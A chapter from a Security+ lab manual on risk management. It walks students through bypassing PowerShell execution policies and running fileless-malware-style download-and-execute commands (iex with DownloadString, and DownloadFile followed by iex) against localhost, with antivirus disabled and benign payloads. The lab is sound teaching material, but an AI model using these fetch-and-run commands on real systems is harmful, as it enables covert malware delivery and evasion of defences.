Chapter 20

Risk Management

Lab Exercises

20.01   PowerShell Script Settings

20.02   PowerShell Exploitation

Lab Analysis

Key Term Quiz

The following is one of the many definitions of risk from the National Institute of Standards and Technology’s (NIST) Computer Security Resource Center (CSRC) glossary, found at https://csrc.nist.gov/glossary/term/risk:

A measure of the extent to which an entity is threatened by a potential circumstance or event, and typically a function of: (i) the adverse impacts that would arise if the circumstance or event occurs; and
(ii) the likelihood of occurrence. [Note: Information system-related security risks are those risks that arise from the loss of confidentiality, integrity, or availability of information or information systems and reflect the potential adverse impacts to organizational operations (including mission, functions, image, or reputation), organizational assets, individuals, other organizations, and the Nation.]

Risk can be mitigated with policies, procedures, and software/hardware controls. Risk can be transferred through cybersecurity insurance. Risk can be accepted, as in the case where the cost of protection outweighs the value of the asset, so you just let that asset be compromised. Risk can be avoided by removing an asset, which in most cases removes any benefits that would be coming forth from said asset. However, we can never say that risk can be eliminated.

ISO 31000, a collection of risk management standards adopted by many countries and large organizations, defines risk management as “coordinated activities to direct and control an organization with regard to risk” in Section 2.2 at www.iso.org/obp/ui/#iso:std:iso:31000:ed-1:v1:en.

PowerShell, which runs on multiple platforms (Windows, Linux, and macOS), is a framework used for both task automation and configuration management. It consists of a command-line shell and its very own native
scripting language.

PowerShell is definitely on the “things that can be used for both good and bad” list. The term fileless malware is being used more and more each day, and the first thing that should pop in your mind upon hearing that term is… PowerShell.

PowerShell can be instructed to download either malicious scripts or malware. These files can be stored on the hard drive and then launched from PowerShell. However, it’s even worse than that. The malicious scripts and malware can be downloaded by PowerShell directly into RAM and then run by PowerShell directly from RAM. That means for anti-malware programs, forensics investigators, and malware analysts, there will be no artifacts on the hard drive. That’s the exact meaning behind the term fileless malware.

These attacks usually originate from common vectors, a phishing e-mail, malware that a user downloads, or malicious links that users click. PowerShell does have execution policies that on the surface appear to prevent attacks involving scripts from happening. However, as you’ll see in this chapter, that unfortunately isn’t the case at all. PowerShell, therefore, represents a great risk for systems and networks.

Read these articles by cybersecurity vendors that describe fileless malware. Each article represents a unique perspective from each vendor.

•   https://www.mcafee.com/enterprise/en-us/security-awareness/ransomware/what-is-fileless-malware.html

•   https://us.norton.com/internetsecurity-malware-what-is-fileless-malware.html

•   https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-how-fileless-attacks-work-and-persist-in-systems

•   https://www.cybereason.com/blog/fileless-malware

•   https://www.varonis.com/blog/fileless-malware/

•   https://awakesecurity.com/glossary/fileless-malware/

Also check out this great article about fileless malware in general:

https://www.csoonline.com/article/3227046/what-is-a-fileless-attack-how-hackers-invade-systems-without-installing-software.html

Images 30 MINUTES

Lab Exercise 20.01: PowerShell Script Settings

PowerShell has execution policy settings that can seemingly control which scripts, if any, can run on a system. Unfortunately, as easy as it is to set the script execution policy on a system, it’s just as easy to foil a system’s execution policy.

Learning Objectives

In this lab exercise, you’ll learn about the various script execution policies supported by PowerShell and begin to circumvent them. At the end of this lab exercise, you’ll be able to

•   View execution policies

•   Set execution policies

•   Circumvent execution policies

Lab Materials and Setup

The materials you need for this lab are

•   The Principles of Computer Security: CompTIA Security+ and Beyond textbook

•   A web browser with an Internet connection

•   The Windows 10 VM you installed in Chapter 1

Let’s Do This!

Click the Start button or in the search box and type PowerShell. Right-click Windows PowerShell and select Run As Administrator.

Press ENTER after every command.

Images 1

Step 1 The ability for a PowerShell script to run on a system depends on the execution policy option. Type

Get-ExecutionPolicy

to run the cmdlet (pronounced command-let) that displays the current execution policy in effect. You can read a description of cmdlet at https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/cmdlet-overview?view=powershell-7. Simply described, Windows PowerShell cmdlets are actually .NET classes that have been compiled to provide functionality inside of PowerShell. Each cmdlet typically provides a specific functionality and can be called directly from PowerShell’s command-line interface (CLI) or within a script.

From the output of the Get-ExecutionPolicy cmdlet, you should see Restricted, which might make you feel like you’re safe from fileless malware.

Execution policy options include:

•   AllSigned All scripts and configurations file must be digitally signed by a trusted publisher, even scripts that were written on the local computer.

•   Bypass No scripts or configuration files will be blocked. There won’t even be any warnings or prompts.

•   Default For Windows clients, Restricted is the default execution policy. For Windows servers, RemoteSigned is the default execution policy.

•   RemoteSigned All scripts and configuration files downloaded from the Internet must be signed by a trusted publisher.

•   Restricted No configuration files will be loaded and no scripts will be run.

•   Undefined There isn’t any execution policy set for the scope. An assigned execution policy will be removed from a scope as long as it wasn’t set by a Group Policy Object. If all scopes have an execution policy of Undefined, the effective execution policy is Restricted.

•   Unrestricted With PowerShell 6.0, non-Windows machines have this as the non-changeable default execution policy. All configuration files will be loaded and all scripts will be run. A permission prompt will occur for an unsigned script downloaded from the Internet.

More on execution policies can be found at the following links:

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1&viewFallbackFrom=powershell-7

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7

Image 2

Step 2 To test this out, create a create a PowerShell script. PowerShell scripts have a .ps1 extension.

notepad script1.ps1

In the Notepad window, type echo “Hello, World!” and then save and exit by clicking the X in the upper-right corner of the window and then clicking the Save button.

Images 3a–3d

Step 3 See protection mechanisms that are in place in both the GUI and CLI to prevent the accidental running scripts. Then, actually run the script.

a.   Using the Windows Explorer GUI, go to C:WindowsSystem32, where the script was created, and double-click the script. To prevent unintentional execution of scripts by users, the default file type association for .ps1 files is Notepad. Accordingly, when clicked, the scripts simply open up in Notepad and do not run. This is the case regardless of the execution policy. Because the default file type association can be easily changed, this doesn’t represent security against attackers but rather protection from accidental clicking by users.

b.   Now for the real test,. Back in the CLI known as PowerShell, type

.script1.ps1

or simply

.script1

You’ll notice an error message that explains “running scripts is disabled on this system.”

Before the name of the script is a dot and backslash, which means “in this current directory.” To prevent command hijacking, where an attacker places a script in a folder and gives the script the same name as a built-in command, in a nonadministrative PowerShell environment, you are required to provide an absolute or relative reference to the script (which can be run with or without the .ps1 extension specified). This is something you’d never do for an actual command. When you open up PowerShell as Administrator, you can just specify the script’s name (with or without the extension) without specifying an absolute or relative reference.

c.   Change the default behavior to unrestricted with the following command:

Set-ExecutionPolicy Unrestricted

Press A and then ENTER at the warning prompt, as shown in Figure 20-1.

Image

FIGURE 20-1 Changing the execution policy

The following message is displayed: “The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose you to the security risks….”

That sounds like the current execution policy makes you more secure, but it’s going to get worse soon.

d.   Try running script1.ps1 again by typing .script1.ps1 ... and, voilà, it runs!

Images 4a–4c

Step 4 The Set-ExecutionPolicy cmdlet has a -Scope option, which defaults to LocalMachine, while effective execution policy is determined by the order of precedence in the following order:

•   MachinePolicy. A Group Policy Object that applies to all users of the computer.

•   UserPolicy. A Group Policy Object that applies just for the current user of the computer.

•   Process. Just applies to the current PowerShell session.

•   CurrentUser. Just applied to the current user.

•   LocalMachine. Applies to all users of the computer and is the default scope.

a.   Open up another PowerShell window, but this time, without selecting Run As Administrator, type

Set-ExecutionPolicy Bypass -Scope CurrentUser

Press A and then ENTER at the warning prompt.

As you can see, any user, not just those with administrative privileges, can effortlessly override the execution policy. This can be used in social engineering attacks, yes, but it’s going to get even worse, shortly.

b.   Besides the Set-ExecutionPolicy cmdlet, the execution policy can be changed in two other ways.

First, a Group Policy object (GPO) in an Active Directory environment can be used to control the execution policy at Computer Configuration | Policies | Administrative Templates | Windows Components | Windows PowerShell. GPOs override local execution policy settings.

c.   Second, and more importantly, calling PowerShell.exe with the -ExecutionPolicy parameter can override not only a local execution policy setting but even a GPO’s execution policy setting.

To do this, open up an administrative PowerShell window and set the CurrentUser scope back the way it was:

Set-ExecutionPolicy Undefined -Scope CurrentUser

Press A and then ENTER at the warning prompt.

Now, make sure the execution policy is back fully the way it was, regardless of scope:

Set-ExecutionPolicy Restricted

Press A and then ENTER at the warning prompt.

Verify the execution policy:

Get-ExecutionPolicy

Now try to run the script:

.script1.ps1

That’s a no, but amazingly enough, try this:

powershell.exe -ExecutionPolicy Bypass script1.ps1

We have just gotten around that Restricted setting quite laughably, haven’t we?

d.   You can find more on how PowerShell.exe can be run at https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1.

The official Microsoft recommendation is to use RemoteSigned for computers that run scripts. On all other machines, Microsoft recommends the Restricted setting. However, many respected professionals recommend using the Unrestricted setting, because, as shown already, the setting doesn’t offer an ounce of security. By setting the execution policy to Unrestricted, you’re practicing “security through obscurity,” fooling yourself into thinking you have security, when in fact you actually have none. Think about this. A GPO setting can be overridden by a simple command! Once again, the setting is only there to prevent accidental running of scripts by users, not for security from attackers.

Images 30 MINUTES

Lab Exercise 20.02: PowerShell Exploitation

After covering the basics of how PowerShell script execution policies work, it’s time to get right to work and see how fileless malware can be used in conjunction with PowerShell.

image Cross-Reference

In Chapter 22, you’ll exploit a Windows 10 machine and gain direct access to its PowerShell interface.

Learning Objectives

In this lab exercise, you’ll see how PowerShell can be used to deploy fileless malware. At the end of this lab exercise, you’ll be able to

•   Execute commands that bypass the PowerShell script execution policy

•   Execute commands that can download malware to files on the hard drive

•   Execute commands that can download malware directly to RAM and execute it from RAM

Lab Materials and Setup

The materials you need for this lab are

•   The Principles of Computer Security: CompTIA Security+ and Beyond textbook

•   A web browser with an Internet connection

•   The Windows 10 VM with WampServer from the previous chapter

Let’s Do This!

Real-time protection must be turned off for this lab exercise to work correctly.

Turn off real-time protection on the Windows 10 VM by following these steps:

1.   Click the Start button or in the search box and type Security.

2.   Click Windows Security.

3.   Click Virus & Threat Protection.

4.   Click Manage Settings under Virus & Threat Protection Settings.

5.   Under Real-time Protection, click the button to turn it off.

6.   Click Yes in the popup.

7.   Click the X in the upper-right corner of the window to close it.

You also might need to disable any third-party anti-malware software.

Type each command on one line, and press ENTER after each command.

Image 1a, 1b

Step 1 Download an image multiple times, bypassing the execution policy, without running PowerShell directly.

a.   Run the following from the command prompt (cmd.exe) and not from PowerShell (note that this is considered one line, so let the command wrap across multiple lines and do not press ENTER to break up this or the other commands in this chapter):

powershell.exe -ExecutionPolicy Bypass -NoProfile
((New-Object System.Net.WebClient).DownloadFile('https://www.flcc.edu/staff-photos/Jonathan_Weissman.jpg', 'C:Users\%USERNAME%Desktopjonathan.jpg'))

b.   Run the following (the only difference is the name of the file saved to your desktop) from the Start menu (click the Windows button and simply type):

powershell.exe -ExecutionPolicy Bypass -NoProfile
((New-Object System.Net.WebClient).DownloadFile('https://www.flcc.edu/staff-photos/Jonathan_Weissman.jpg', 'C:Users\%USERNAME%Desktopweissman.jpg'))

Sometimes URLs change, especially URLs for images. If the preceding URL or a subsequent URL is broken, substitute the URL of any image on the Web accordingly.

You just told PowerShell to download a picture of me to your desktop, twice. Check out jonathan.jpg and weissman.jpg on your desktop. Neither time did you run PowerShell directly. Neither time were you affected by the execution policy. Interesting. Do you realize where we are headed with this?

The following definition of -ExecutionPolicy <ExecutionPolicy> can be found at https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1:

Sets the default execution policy for the current session and saves it in the $env:PSExecutionPolicyPreference environment variable. This parameter does not change the PowerShell execution policy that is set in the registry. For information about PowerShell execution policies, including a list of valid values, see about_Execution_Policies.

Inside the parentheses, the New-Object cmdlet is creating a System.Net.Webclient object that calls its DownloadFile function with two arguments. The first argument represents a URL, which in this case is the URL of an image from the FLCC website. Although this is a harmless image in this case, it could have easily been a file or program laced with malware. The second argument represents a location and the name of the file that the file will be download to.

The %USERNAME% variable turns into the name of the currently logged-in user and will cause the download to appear on any user’s desktop.

The same web page provides the following definition of the -NoProfile switch:

Does not load the PowerShell profile.

When PowerShell is invoked or scripts are run in this way, PowerShell will always load known profiles before executing your commands or script. Consequently, it’s not really clear what will be loaded by these profiles, which can lead to unexpected results. Therefore, the -NoProfile switch is used to eliminate the unpredictability in a best-practice manner.

Parameters were explained in the context of Linux, along with other related terms in Step 1 of Lab Exercise 2.02. Refer to that discussion for a refresher.

Here, though, there is a difference in terminology. In PowerShell, a parameter name and value(s) alter the behavior of cmdlets. Parameter names start with a hyphen, and parameter values, which immediately follow parameter names, don’t start with a hyphen. For example, in Step 1b, -ExecutionPolicy is a parameter name and Bypass is the parameter value for that parameter name. Parameter names can be followed by multiple values in a comma-separated list with no spaces between the values.

In PowerShell, a special type of parameter, known as a switch, acts like an on/off switch, is always optional, starts with a hyphen, and doesn’t have a second part to it. For example, also in Step 1b, -NoProfile is a switch that, by its presence, alters the way a cmdlet behaves. Switches are never followed by values. They either take behaviors that will occur and stop them or take behaviors that won’t occur and start them.

Images 2

Step 2 Now try this one from the search box (click the search box and simply type):

powershell.exe -ExecutionPolicy Bypass -NoProfile ((New-Object System.Net.WebClient).DownloadFile('https://www.flcc.edu/pdf/catalog/2020-2021-
FLCC-Catalog.pdf', 'C:Users\%USERNAME%Desktopflcc.pdf'))

Again, a harmless file (a PDF in this case), but the implications could be devastating if the files being called were actually malicious scripts or malware.

The desktop has been chosen as the destination location for the images and PDF for ease of use. Attackers would choose a more covert location on the hard drive in an actual attack.

Images 3b

Step 3 Download a string into RAM and try to execute it.

a.   The following description of -Command comes from https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1:

Executes the specified commands (and any parameters) as though they were typed at the PowerShell command prompt, and then exits, unless the NoExit parameter is specified.

The value of Command can be -, a script block, or a string. If the value of Command is -,
the command text is read from standard input.

The following description of Invoke-Expression comes from https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7:

The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression, a string submitted at the command line is returned (echoed) unchanged.

b.   Execute the following command in any environment (cmd.exe, Start menu, search box, or even PowerShell itself):

powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "iex ((New-object
Net.WebClient).DownloadString('https://www.flcc.edu'))"

This command downloads a string into RAM with the DownloadString function, containing the HTML, CSS, and JavaScript of www.flcc.edu, and then tries to run it with the Invoke-Expression cmdlet, referenced by its alias, iex. It isn’t received well, as evidenced by the PowerShell “blood,” but this sets the stage nicely for our big conclusion in the next step.

If attackers can download scripts or malware to run in RAM, like the contents of www.flcc.edu were just sent to RAM (where execution failed), security devices like firewalls can be avoided.

Images 4a–4m

Step 4 In the last chapter, you used the MariaDB database component of WampServer. Now you’ll be using the Apache web server component.

a.   Launch WampServer.

b.   Click the green WampServer icon in the taskbar. If it’s not green, start all services, as you did in Chapter 19.

c.   From the WampServer menu, click “www directory” to open the corresponding folder.

d.   In the folder window, click the File menu bar item and make sure there is a check in the checkbox next to File Name Extensions in the Show/Hide tab.

e.   Right-click a blank area in the www folder, select New, select Text Document, and rename the file script2.ps1. Make sure you get rid of the .txt extension at the end, which is not highlighted by default. Click the Yes button to the “If you change a file name extension, the file might become unusable. Are you sure you want to change it?” dialog box message.

f.   Double-click the file to open it up in Notepad. Put just Get-Service in the file and then save it and exit Notepad.

g.   The loopback address of 127.0.0.1 (referring to localhost, the current machine) will be used in place of a possible adversary’s IP address or fully qualified domain name (FQDN) in the following command. The -NoExit switch is being used here to keep the window open so you can examine the output and create the screenshots. Otherwise, when the command and output complete, the window would close automatically. Attackers, though, wouldn’t use this particular switch, so they can stay as stealthy as possible. Execute the following command and all other commands in this step from either the Start menu or the search box:

powershell.exe -ExecutionPolicy Bypass -NoExit -Command "iex (New-Object
Net.WebClient).DownloadString('http://127.0.0.1/script2.ps1')"

The output shows a list of services on the system.

h.   Create script3.ps1 in the www directory with only Get-Process in it. Run this command:

powershell.exe -ExecutionPolicy Bypass -NoExit -Command "iex (New-Object
Net.WebClient).DownloadString('http://127.0.0.1/script3.ps1')"

The output shows a list of processes on the system.

Instead of downloading to RAM and running from RAM, a script or malware can be downloaded to the hard drive and immediately run from there. The desktop has been chosen as the destination location for the downloaded scripts for this and future examples for ease of use. Attackers would choose a more covert location on the hard drive in an actual attack.

i.   Put just the word date in a file called script4.ps1, in the www directory, and run the following command, which uses the DownloadFile function instead of the DownloadString function we’ve been using thus far:

powershell.exe -ExecutionPolicy Bypass -NoExit (New-Object
System.Net.WebClient).DownloadFile('http://127.0.0.1/script4.ps1',
'C:Users\%USERNAME%Desktopscript4.ps1'); iex
'C:Users\%USERNAME%Desktopscript4.ps1'

j.   Now put these two lines in script5.ps1:

Copy-Item "C:WindowsSystem32calc.exe" "C:Users$env:USERNAMEDesktop"
& "C:WindowsSystem32calc.exe"

The Copy-Item cmdlet copies from a source location to a destination location. In this case, we’re copying the Calculator program from C:WindowsSystem32 to the current user’s desktop. The desktop location has been chosen for ease of use. Adversaries would choose a more covert location on the hard drive in an actual attack. Notice that the %USERNAME% reference used before has been changed to the PowerShell format, since the variable is being used within a PowerShell script this time.

The call operator, &, executes the command to launch Calculator.

Run the following command, and just imagine that calc.exe was an actual malware specimen ready to launch at an attacker’s whim!

powershell.exe -ExecutionPolicy Bypass -NoExit (New-Object
System.Net.WebClient).DownloadFile('http://127.0.0.1/script5.ps1',
'C:Users\%USERNAME%Desktopscript5.ps1'); iex
'C:Users\%USERNAME%Desktopscript5.ps1'

k.   Put the following in script6.ps1:

& "C:Program FilesGoogleChromeApplicationchrome.exe"
www.rit.edu/directory/jswics-jonathan-weissman

Depending on when you installed Chrome, chrome.exe might be located in C:Program Files (x86)GoogleChromeApplication. Verify where your chrome.exe file is, and then put the path into script6.ps1. For the backstory, read this: www.ghacks.net/2020/06/11/google-chrome-is-soon-going-to-be-installed-in-a-different-directory-on-windows/.

Not only does the call operator, &, launch the Chrome browser, but it also opens up a specified website.

Now users can be forced to go to a drive-by download site with an exploit kit that automatically scans the victim system, finds vulnerabilities, and automatically tries to exploit the website visitor’s machine and install malware. The user does not have to click anything at this site for any of this to happen. Just browsing, or being browsed in this case, to a site is enough for the exploit kit to spring into action.

Try it! No worries, as you’ll just be sent to my RIT page.

powershell.exe -ExecutionPolicy Bypass -NoExit -Command "iex (New-Object
Net.WebClient).DownloadString('http://127.0.0.1/script6.ps1')"

l.   Put the following in script7.ps1:

ping -t 8.8.8.8

Now run it:

powershell.exe -ExecutionPolicy Bypass -NoExit -Command "iex (New-Object
Net.WebClient).DownloadString('http://127.0.0.1/script7.ps1')"

An attacker can now construct a botnet and use machines to bring down important servers in a distributed denial-of-service (DDoS) attack.

m.   Create script8.ps2. You won’t be able to double-click it to edit it, as Windows doesn’t know about this made-up extension. Open it by right-clicking and selecting Open With. Click More Apps and select Notepad. Put the following in the file:

echo "Hacked!"

What if a systems administrator prevents execution from files that have a .ps1 extension? No problem! Attackers can sidestep that by using the Get-Content cmdlet to access the contents of a file with another extension (there’s no way to filter by every possibility, which is an infinite number of extensions) and then send the contents to the Invoke-Expression cmdlet to be executed. Try this one:

powershell.exe -ExecutionPolicy Bypass -NoExit (New-Object
System.Net.WebClient).DownloadFile('http://127.0.0.1/script8.ps2',
'C:Users\%USERNAME%Desktopscript8.ps2'); Get-Content
'C:Users\%USERNAME%Desktopscript8.ps2' | iex

n.   Put the following in script9.ps1:

Stop-Computer -ComputerName 127.0.0.1.

Before you run this command, save anything that needs to be saved. This command is about to shut down your machine.

An attacker can then add a registry entry that calls this file every time the system boots up, which will immediately make it…shut down! Now run this:

powershell.exe -ExecutionPolicy Bypass -NoExit (New-Object
System.Net.WebClient).DownloadFile('http://127.0.0.1/script9.ps1',
'C:Users\%USERNAME%Desktopscript9.ps1'); iex
'C:Users\%USERNAME%Desktopscript9.ps1'

How can we mitigate this great risk that fileless malware through PowerShell presents?

Make sure that there is real-time monitoring of systems and networks. Make sure logs and alerts are in place. Make sure that updates and security patches are applied in a timely fashion. Make sure that the principle of least privilege is applied, where users and programs have just what they need to do their jobs and not a drop more. Make sure user education and training is provided so employees know what they should do and what they shouldn’t do.

Fileless malware attacks place value on stealth, rather than persistence, though the flexibility of the attack to pair with other malware allows it to have both. The Ponemon Institute survey found that these memory-based attacks were 10 times more likely to succeed than file-based malware. Organizations should create a strategy, including both endpoint security solutions and employee training, to combat against these threats.

Lab Analysis

1.   What is fileless malware?

Images

2.   Why is PowerShell used for attacks involving fileless malware?

Images

3.   What are some risk management strategies related to PowerShell and fileless malware?

Images

Key Term Quiz

Use the terms from the list to complete the sentences that follow.

DownloadString

execution policy

fileless malware

PowerShell

Restricted

risk

risk management

scripts

Unrestricted

1.   A function that is responsible for putting scripts in RAM is ____________.

2.   The default ____________ for ____________ is ____________.

3.   User education and training can help reduce the ____________ for ____________ attacks, and it’s a great part of ____________.

4.   This chapter has demonstrated that a setting of ____________ for scripts is more realistic than the default, and it doesn’t give a false sense of security.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.118.140.108